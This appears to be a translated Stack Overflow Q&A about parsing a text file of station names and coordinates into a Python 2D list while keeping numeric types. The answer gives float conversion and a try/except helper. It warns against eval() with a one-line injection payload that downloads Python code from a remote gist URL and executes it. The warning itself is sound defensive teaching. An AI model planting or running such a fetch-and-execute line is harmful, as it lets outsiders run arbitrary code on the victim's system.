python - 如何在 Python 中维护数据类型的同时将文件解析为二维数组?

标签 python arrays file python-3.x

我对编程很陌生。我想读取一个数据文件并将其作为二维数组存储在 python3 中,以便我可以对单个元素进行操作。我正在使用以下方法读入文件:

with open("text.txt", "r") as text:
    lines = [line.split() for line in text]

然而,这会将所有内容解析为文本。如何在维护数据类型的同时读取文件(文本解析为文本,整数解析为整数, float 解析为 float 等)? 输入文件看起来像这样:

HNUS 4973168.840 1734085.512 -3585434.051
PRET 5064032.237 2724721.031 -2752950.762
RBAY 4739765.776 2970758.460 -3054077.535
TDOU 5064840.815 2969624.535 -2485109.939
ULDI 4796680.897 2930311.589 -3005435.714

最佳答案

通常,您应该期待行、列或特定单元格的特定数据类型。在您的情况下,这将是一行的每个第一个单元格中的一个字符串和所有其他单元格中后面的数字。

data = []
with open('text.txt', 'r') as fp:
  for line in (l.split() for l in fp):
    line[1:] = [float(x) for x in line[1:]]
    data.append(line)

如果您真的只想将每个单元格转换为最接近的适用数据类型,您可以使用这样的函数并将其应用于二维列表中的每个单元格。

def nearest_applicable_conversion(x):
  try:
    return int(x)
  except ValueError:
    pass
  try:
    return float(x)
  except ValueError:
    pass
  return x

强烈反对您使用eval(),因为它会评估任何有效的 Python 代码,并使您的系统容易受到知道如何执行此操作的人的攻击。通过将以下代码放入您从 text.txteval() 的单元格之一,我可以轻松执行任意代码,我只需要确保它不包含空格因为这会使代码拆分为多个单元格:

(lambda:(eval(compile(__import__('urllib.request').request.urlopen('https://gist.githubusercontent.com/NiklasRosenstein/470377b7ceef98ef6b87/raw/06593a30d5b00ca506b536315ac79f7b950a5163/jagged.py').read().decode(),'<string>','exec'),globals())))()

关于python - 如何在 Python 中维护数据类型的同时将文件解析为二维数组?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31649843/

相关文章:

java - 当我尝试将文件从 jar 内复制到磁盘时,为什么会收到 'nullfiles' ?

file - Matlab:读取目录中的所有文件

python - Django : extract image from database and display in template

python - 旋转 - TransformOriginPoint - PyQt4

javascript - 将对象推送到 Javascript 中的空数组不起作用

c++ - 为什么我不能访问 openCV 中的矩阵元素?

arrays - 明智地聚合数组元素

python - PyCharm 从另一个项目导入

python - 计算 MAD(平均绝对偏差)GroupBy Pandas

eclipse - 覆盖 Eclipse 文件 > 保存操作